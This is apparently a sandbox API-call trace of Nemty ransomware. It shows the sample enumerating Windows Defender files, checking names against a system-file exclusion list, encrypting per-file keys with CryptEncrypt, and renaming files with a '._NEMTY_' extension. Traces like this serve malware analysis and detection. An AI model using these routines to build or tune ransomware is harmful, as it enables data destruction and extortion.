lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0099.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0099.485] Sleep (dwMilliseconds=0x5) [0099.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeef34670, dwHighDateTime=0x1d561e7)) [0099.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeef34670, dwHighDateTime=0x1d561e7)) [0099.495] GetLastError () returned 0xb7 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.495] GetLastError () returned 0xb7 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0099.495] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0099.495] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0099.495] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0099.495] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="2VD2+Y7wdQi9mJKT/+lVwUjAzGa3LSYMm8QBE2zgw29VBF0lhAG1eauzMnwMnYgf\r\nKYoakPvO41Nnp14xKOxoqWXhYbBZnvOKkEroUmZfJsELPlZbNX1OBha7hdcsvRN8\r\nM2ZE4vn98nsRyOCaZPVkFEwvdxXB0h6IAZ6/adMVPTkalJBk8xGSL/eZyNJwOQrz\r\n/OJfcxJvF9v1ylGFYzfK2FIuf2ncaDZaY67cSaFnZRkgAM/1HlLEHk+tveY0q4Sk\r\n4SdJPS4OznCGKrQHqFDhsq0F38YhHPqkn5kFqFBQdIEIUD5bHh5MA55Zpfw6o0dV\r\nhKKR3YNFhc6EuDK1JhFSvA==\r\n", pcchString=0x653ef9c) returned 1 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0099.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.495] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpasdesc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.496] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0099.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0099.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.534] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0099.604] CloseHandle (hObject=0xffffffff) returned 0 [0099.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0099.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0099.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0099.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0099.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpasdesc.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows defender\\en-us\\mpasdesc.dll.mui._nemty_kgobjgd_")) returned 0 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.604] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0099.604] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0099.604] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0099.604] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="...") returned 1 [0099.604] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="windows") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="rsa") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="NTDETECT.COM") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="ntldr") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="MSDOS.SYS") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="IO.SYS") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="boot.ini") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="boot.ini") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="ntuser.dat") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="desktop.ini") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="CONFIG.SYS") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="RECYCLER") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="bootmgr") returned 1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="programdata") returned -1 [0099.605] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="appdata") returned 1 [0099.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94248 [0099.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0099.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94158 [0099.606] Sleep (dwMilliseconds=0x5) [0099.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef065170, dwHighDateTime=0x1d561e7)) [0099.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef065170, dwHighDateTime=0x1d561e7)) [0099.619] GetLastError () returned 0x5 [0099.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.619] GetLastError () returned 0x5 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.620] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0099.620] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0099.620] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942c0 [0099.620] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942c0, pcchString=0x653ef9c | out: 